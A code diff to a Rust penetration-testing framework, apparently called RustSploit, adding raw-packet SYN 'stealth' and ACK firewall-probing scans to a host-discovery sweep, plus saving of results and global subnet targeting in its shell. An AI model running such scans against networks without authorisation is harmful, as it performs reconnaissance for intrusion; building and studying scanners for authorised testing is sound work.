use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
|
||||
use pnet_packet::Packet;
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{self, BufRead, BufReader, Write},
|
||||
net::{IpAddr, SocketAddr},
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
sync::{
|
||||
atomic::{AtomicUsize, Ordering},
|
||||
Arc,
|
||||
Arc, Mutex,
|
||||
},
|
||||
};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, time::Duration};
|
||||
use tokio::{net::TcpStream, process::Command, sync::Semaphore, task, time::Duration};
|
||||
use rand::Rng;
|
||||
use std::mem::MaybeUninit;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct PingConfig {
|
||||
@@ -20,12 +28,16 @@ struct PingConfig {
|
||||
concurrency: usize,
|
||||
timeout_secs: u64,
|
||||
verbose: bool,
|
||||
save_up_hosts: Option<String>,
|
||||
save_down_hosts: Option<String>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
enum PingMethod {
|
||||
Icmp,
|
||||
Tcp { ports: Vec<u16> },
|
||||
Syn { ports: Vec<u16> },
|
||||
Ack { ports: Vec<u16> },
|
||||
}
|
||||
|
||||
impl PingMethod {
|
||||
@@ -46,6 +58,34 @@ impl PingMethod {
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Syn { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("SYN/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"SYN [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
PingMethod::Ack { ports } => {
|
||||
if ports.len() == 1 {
|
||||
format!("ACK/{}", ports[0])
|
||||
} else {
|
||||
format!(
|
||||
"ACK [{}]",
|
||||
ports
|
||||
.iter()
|
||||
.map(u16::to_string)
|
||||
.collect::<Vec<_>>()
|
||||
.join(",")
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -53,6 +93,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => "ICMP",
|
||||
PingMethod::Tcp { .. } => "TCP",
|
||||
PingMethod::Syn { .. } => "SYN",
|
||||
PingMethod::Ack { .. } => "ACK",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -60,6 +102,8 @@ impl PingMethod {
|
||||
match self {
|
||||
PingMethod::Icmp => icmp_probe(ip, timeout).await,
|
||||
PingMethod::Tcp { ports } => tcp_probe(ip, ports, timeout).await,
|
||||
PingMethod::Syn { ports } => syn_probe(ip, ports, timeout).await,
|
||||
PingMethod::Ack { ports } => ack_probe(ip, ports, timeout).await,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -174,6 +218,23 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
prompt_usize("Max concurrent hosts", 100, Some(1), Some(10_000))?;
|
||||
let verbose = prompt_yes_no("Verbose output (show down hosts/errors)?", false)?;
|
||||
|
||||
// Ask about saving results
|
||||
let save_up_hosts = if prompt_yes_no("Save up hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_up_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for up hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let save_down_hosts = if prompt_yes_no("Save down hosts to file?", false)? {
|
||||
let default_file = "ping_sweep_down_hosts.txt";
|
||||
let file_path = prompt_with_default("Output file for down hosts", default_file)?;
|
||||
Some(file_path)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let methods = loop {
|
||||
let mut methods = Vec::new();
|
||||
|
||||
@@ -193,6 +254,30 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use SYN scan (stealth scan, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for SYN scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Syn { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if prompt_yes_no("Use ACK scan (filter detection, requires root)?", false)? {
|
||||
let default_ports = "80,443";
|
||||
let port_input =
|
||||
prompt_with_default("TCP ports for ACK scan (comma separated)", default_ports)?;
|
||||
let ports = parse_ports(&port_input)?;
|
||||
if ports.is_empty() {
|
||||
println!("{}", " No valid ports provided.".yellow());
|
||||
} else {
|
||||
methods.push(PingMethod::Ack { ports });
|
||||
}
|
||||
}
|
||||
|
||||
if methods.is_empty() {
|
||||
println!("{}", "Select at least one method.".red().bold());
|
||||
continue;
|
||||
@@ -218,6 +303,8 @@ fn gather_configuration(initial: &str) -> Result<PingConfig> {
|
||||
concurrency,
|
||||
timeout_secs,
|
||||
verbose,
|
||||
save_up_hosts,
|
||||
save_down_hosts,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -294,6 +381,11 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
|
||||
let processed_counter = Arc::new(AtomicUsize::new(0));
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
// Collections for saving results
|
||||
let up_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
let down_hosts_list = Arc::new(Mutex::new(Vec::<String>::new()));
|
||||
|
||||
let mut tasks = Vec::new();
|
||||
|
||||
for ip in hosts {
|
||||
@@ -301,6 +393,8 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
let methods_clone = methods.clone();
|
||||
let success_clone = success_counter.clone();
|
||||
let processed_clone = processed_counter.clone();
|
||||
let up_list = up_hosts_list.clone();
|
||||
let down_list = down_hosts_list.clone();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let permit = match sem.acquire_owned().await {
|
||||
Ok(p) => p,
|
||||
@@ -363,8 +457,18 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
)
|
||||
.green()
|
||||
);
|
||||
} else if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
// Add to up hosts list
|
||||
if let Ok(mut list) = up_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
} else {
|
||||
// Add to down hosts list
|
||||
if let Ok(mut list) = down_list.lock() {
|
||||
list.push(ip_string.clone());
|
||||
}
|
||||
if verbose {
|
||||
println!("\r{}", format!("[-] Host {} is down", ip_string).dimmed());
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
@@ -387,6 +491,54 @@ async fn execute_ping_sweep(config: &PingConfig) -> Result<()> {
|
||||
.bold()
|
||||
);
|
||||
|
||||
// Save results to files if requested
|
||||
if let Some(ref up_file) = config.save_up_hosts {
|
||||
let up_list = up_hosts_list.lock().unwrap();
|
||||
if !up_list.is_empty() {
|
||||
match save_hosts_to_file(&up_list, up_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} up hosts to '{}'", up_list.len(), up_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save up hosts to '{}': {}", up_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No up hosts to save to '{}'", up_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref down_file) = config.save_down_hosts {
|
||||
let down_list = down_hosts_list.lock().unwrap();
|
||||
if !down_list.is_empty() {
|
||||
match save_hosts_to_file(&down_list, down_file) {
|
||||
Ok(_) => {
|
||||
println!("{}", format!("[+] Saved {} down hosts to '{}'", down_list.len(), down_file).green());
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("{}", format!("[!] Failed to save down hosts to '{}': {}", down_file, e).red());
|
||||
}
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] No down hosts to save to '{}'", down_file).yellow());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn save_hosts_to_file(hosts: &[String], file_path: &str) -> Result<()> {
|
||||
let mut file = File::create(file_path)
|
||||
.with_context(|| format!("Failed to create file '{}'", file_path))?;
|
||||
|
||||
for host in hosts {
|
||||
writeln!(file, "{}", host)
|
||||
.with_context(|| format!("Failed to write to file '{}'", file_path))?;
|
||||
}
|
||||
|
||||
file.flush()
|
||||
.with_context(|| format!("Failed to flush file '{}'", file_path))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -469,6 +621,376 @@ async fn tcp_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// SYN scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("SYN scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match syn_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("SYN/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("SYN scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn syn_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for SYN scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for SYN scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP (use a dummy IP if we can't determine it)
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft SYN packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::SYN);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send SYN packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// SYN-ACK means port is open
|
||||
if flags & (TcpFlags::SYN | TcpFlags::ACK) == (TcpFlags::SYN | TcpFlags::ACK) {
|
||||
return Ok(true);
|
||||
}
|
||||
// RST means port is closed but host is up
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true); // Host is up
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
async fn ack_probe(ip: &IpAddr, ports: &[u16], timeout: Duration) -> Result<Vec<String>> {
|
||||
// ACK scan only works with IPv4
|
||||
let ipv4 = match ip {
|
||||
IpAddr::V4(addr) => *addr,
|
||||
IpAddr::V6(_) => {
|
||||
return Err(anyhow!("ACK scan only supports IPv4 addresses"));
|
||||
}
|
||||
};
|
||||
|
||||
let mut successes = Vec::new();
|
||||
|
||||
for port in ports {
|
||||
match ack_probe_single(&ipv4, *port, timeout).await {
|
||||
Ok(true) => successes.push(format!("ACK/{}", port)),
|
||||
Ok(false) => {}
|
||||
Err(e) => {
|
||||
// Silently continue on errors (permission denied, etc.)
|
||||
if e.to_string().contains("Permission denied") {
|
||||
return Err(anyhow!("ACK scan requires root privileges. Run with sudo or use TCP connect scan instead."));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(successes)
|
||||
}
|
||||
|
||||
async fn ack_probe_single(ip: &Ipv4Addr, port: u16, timeout: Duration) -> Result<bool> {
|
||||
use std::net::Ipv4Addr as StdIpv4Addr;
|
||||
use std::net::IpAddr as StdIpAddr;
|
||||
|
||||
// Create raw socket for sending
|
||||
let sender = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::from(libc::IPPROTO_RAW)),
|
||||
)
|
||||
.context("Failed to create raw socket for ACK scan")?;
|
||||
|
||||
sender
|
||||
.set_header_included_v4(true)
|
||||
.context("Failed to set IP_HDRINCL")?;
|
||||
|
||||
// Create raw socket for receiving TCP responses
|
||||
let receiver = Socket::new(
|
||||
Domain::IPV4,
|
||||
Type::RAW,
|
||||
Some(Protocol::TCP),
|
||||
)
|
||||
.context("Failed to create receiver socket for ACK scan")?;
|
||||
|
||||
receiver
|
||||
.set_read_timeout(Some(timeout))
|
||||
.context("Failed to set read timeout")?;
|
||||
|
||||
// Get source IP
|
||||
let src_ip = get_local_ipv4().unwrap_or_else(|| Ipv4Addr::new(127, 0, 0, 1));
|
||||
|
||||
// Craft ACK packet - generate all random values before any await
|
||||
let (src_port, seq_num, ip_id) = {
|
||||
let mut rng = rand::rng();
|
||||
(
|
||||
rng.random_range(49152..=65535),
|
||||
rng.random::<u32>(),
|
||||
rng.random::<u16>(),
|
||||
)
|
||||
};
|
||||
|
||||
let tcp_header_len = 20;
|
||||
let mut tcp_buf = vec![0u8; tcp_header_len];
|
||||
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf).unwrap();
|
||||
tcp_pkt.set_source(src_port);
|
||||
tcp_pkt.set_destination(port);
|
||||
tcp_pkt.set_sequence(seq_num);
|
||||
tcp_pkt.set_acknowledgement(0);
|
||||
tcp_pkt.set_data_offset(5);
|
||||
tcp_pkt.set_flags(TcpFlags::ACK);
|
||||
tcp_pkt.set_window(65535);
|
||||
tcp_pkt.set_urgent_ptr(0);
|
||||
|
||||
let tcp_immutable = tcp_pkt.to_immutable();
|
||||
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, ip));
|
||||
|
||||
// Craft IP packet
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
let total_len = (IPV4_HEADER_LEN + tcp_header_len) as u16;
|
||||
let mut ip_buf = vec![0u8; total_len as usize];
|
||||
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf).unwrap();
|
||||
ip_pkt.set_version(4);
|
||||
ip_pkt.set_header_length(5);
|
||||
ip_pkt.set_total_length(total_len);
|
||||
ip_pkt.set_identification(ip_id);
|
||||
ip_pkt.set_ttl(64);
|
||||
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip_pkt.set_source(src_ip);
|
||||
ip_pkt.set_destination(*ip);
|
||||
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
|
||||
ip_pkt.set_payload(tcp_pkt.packet());
|
||||
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
|
||||
|
||||
// Send packet (blocking operation)
|
||||
let dst_addr = SocketAddr::new(StdIpAddr::V4(StdIpv4Addr::from(*ip)), 0);
|
||||
sender
|
||||
.send_to(ip_pkt.packet(), &dst_addr.into())
|
||||
.context("Failed to send ACK packet")?;
|
||||
|
||||
// Listen for response using spawn_blocking for async compatibility
|
||||
let receiver_arc = Arc::new(receiver);
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
while start.elapsed() < timeout {
|
||||
let sock_clone = receiver_arc.try_clone().map_err(|e| anyhow!("Failed to clone socket: {}", e))?;
|
||||
let ip_clone = *ip;
|
||||
let port_clone = port;
|
||||
let src_ip_clone = src_ip;
|
||||
let src_port_clone = src_port;
|
||||
|
||||
let recv_result = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
}
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
})
|
||||
.await
|
||||
.context("Blocking task for recv_from failed")?;
|
||||
|
||||
match recv_result {
|
||||
Ok(Some((data, _))) => {
|
||||
if data.len() < IPV4_HEADER_LEN {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
continue;
|
||||
}
|
||||
|
||||
// Parse IP header
|
||||
if let Some(ip_recv) = ipv4::Ipv4Packet::new(&data) {
|
||||
if ip_recv.get_source() == ip_clone && ip_recv.get_destination() == src_ip_clone {
|
||||
// Parse TCP header
|
||||
let tcp_offset = (ip_recv.get_header_length() as usize) * 4;
|
||||
if data.len() >= tcp_offset + 20 {
|
||||
if let Some(tcp_recv) = tcp::TcpPacket::new(&data[tcp_offset..]) {
|
||||
if tcp_recv.get_source() == port_clone && tcp_recv.get_destination() == src_port_clone {
|
||||
let flags = tcp_recv.get_flags();
|
||||
// RST means port is unfiltered (host is up)
|
||||
if flags & TcpFlags::RST == TcpFlags::RST {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(None) => {
|
||||
// Timeout or would block - continue waiting
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
Err(_) => {
|
||||
tokio::time::sleep(Duration::from_millis(10)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
fn get_local_ipv4() -> Option<Ipv4Addr> {
|
||||
// Try to get a local IPv4 address for the source IP
|
||||
// This is a simple implementation - in production you might want more sophisticated logic
|
||||
use std::net::UdpSocket;
|
||||
if let Ok(socket) = UdpSocket::bind("0.0.0.0:0") {
|
||||
if socket.connect("8.8.8.8:80").is_ok() {
|
||||
if let Ok(local_addr) = socket.local_addr() {
|
||||
if let IpAddr::V4(ipv4) = local_addr.ip() {
|
||||
return Some(ipv4);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
fn prompt_line(message: &str, allow_empty: bool) -> Result<String> {
|
||||
print!("{}", message.cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
@@ -247,6 +247,10 @@ async fn send_and_receive_one(
|
||||
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
|
||||
match sock_clone.recv_from(&mut buf) {
|
||||
Ok((len, addr)) => {
|
||||
// Safe conversion: we know len is valid and within buf bounds
|
||||
if len > buf.len() {
|
||||
return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length"));
|
||||
}
|
||||
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
|
||||
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
|
||||
Ok(Some((slice.to_vec(), sock_addr)))
|
||||
@@ -416,6 +420,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stdin().read_line(&mut user_input).expect("Failed to read line");
|
||||
|
||||
if user_input.trim().to_lowercase() == "yes" {
|
||||
// Safe wrapper for geteuid - it's a simple system call that cannot fail
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if euid != 0 {
|
||||
println!("don't lie");
|
||||
|
||||
+200
-9
@@ -1,11 +1,13 @@
|
||||
use crate::commands;
|
||||
use crate::utils;
|
||||
use crate::config;
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use rand::prelude::*;
|
||||
use std::env;
|
||||
use std::io::{self, Write};
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Mutex;
|
||||
|
||||
const MAX_INPUT_LENGTH: usize = 4096;
|
||||
const MAX_PROXY_LIST_SIZE: usize = 10_000;
|
||||
@@ -34,6 +36,20 @@ impl ShellContext {
|
||||
pub async fn interactive_shell() -> Result<()> {
|
||||
println!("Welcome to RustSploit Shell (inspired by RouterSploit)");
|
||||
println!("Type 'help' for a list of commands. Type 'exit' or 'quit' to leave.");
|
||||
|
||||
// Show global target if set
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
|
||||
if size > 1 {
|
||||
println!("{}", format!("[*] Global target set: {} ({} IPs)", target_str, size).cyan());
|
||||
} else {
|
||||
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("[*] Global target set: {}", target_str).cyan());
|
||||
}
|
||||
}
|
||||
|
||||
let mut ctx = ShellContext::new();
|
||||
|
||||
@@ -96,6 +112,32 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
ctx.current_target = None;
|
||||
println!("{}", "Cleared current module and target.".green());
|
||||
}
|
||||
"show_target" | "target" => {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
println!("{}", format!("Local target: {}", t).cyan());
|
||||
} else {
|
||||
println!("{}", "No local target set.".dimmed());
|
||||
}
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
|
||||
if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
|
||||
if size > 1 {
|
||||
println!("{}", format!("Global target (subnet): {} ({} IPs)", target_str, size).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target: {}", target_str).green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", format!("Global target: {}", target_str).green());
|
||||
}
|
||||
} else {
|
||||
println!("{}", "No global target set.".dimmed());
|
||||
}
|
||||
}
|
||||
"clear_target" => {
|
||||
ctx.current_target = None;
|
||||
config::GLOBAL_CONFIG.clear_target();
|
||||
println!("{}", "Cleared local and global targets.".green());
|
||||
}
|
||||
"help" => render_help(),
|
||||
"modules" => utils::list_all_modules(),
|
||||
"find" => {
|
||||
@@ -252,11 +294,36 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
}
|
||||
"set" => {
|
||||
if let Some(raw_value) = rest.strip_prefix("target").map(|s| s.trim()) {
|
||||
// Handle "set target <value>" - require "target " prefix with space
|
||||
if rest.starts_with("target ") {
|
||||
let raw_value = rest.strip_prefix("target ").unwrap().trim();
|
||||
if raw_value.is_empty() {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
continue;
|
||||
}
|
||||
match sanitize_target(raw_value) {
|
||||
Ok(valid_target) => {
|
||||
// Set both local context and global config
|
||||
ctx.current_target = Some(valid_target.clone());
|
||||
println!("{}", format!("Target set to {}", valid_target).green());
|
||||
match config::GLOBAL_CONFIG.set_target(&valid_target) {
|
||||
Ok(_) => {
|
||||
if config::GLOBAL_CONFIG.is_subnet() {
|
||||
println!("{}", format!("Global target set to subnet: {}", valid_target).green());
|
||||
} else {
|
||||
println!("{}", format!("Global target set to: {}", valid_target).green());
|
||||
}
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Failed to set global target: {}", e).red());
|
||||
// Still set local target
|
||||
println!("{}", format!("Local target set to: {}", valid_target).green());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(reason) => {
|
||||
println!("{}", format!("[!] {}", reason).yellow());
|
||||
@@ -264,11 +331,34 @@ pub async fn interactive_shell() -> Result<()> {
|
||||
}
|
||||
} else {
|
||||
println!("{}", "Usage: set target <value>".yellow());
|
||||
println!("{}", " Examples:".dimmed());
|
||||
println!("{}", " set target 192.168.1.1".dimmed());
|
||||
println!("{}", " set target 192.168.1.0/24".dimmed());
|
||||
println!("{}", " set target example.com".dimmed());
|
||||
}
|
||||
}
|
||||
"run" => {
|
||||
if let Some(ref module_path) = ctx.current_module {
|
||||
if let Some(ref t) = ctx.current_target {
|
||||
// Try to get target from local context, then global config
|
||||
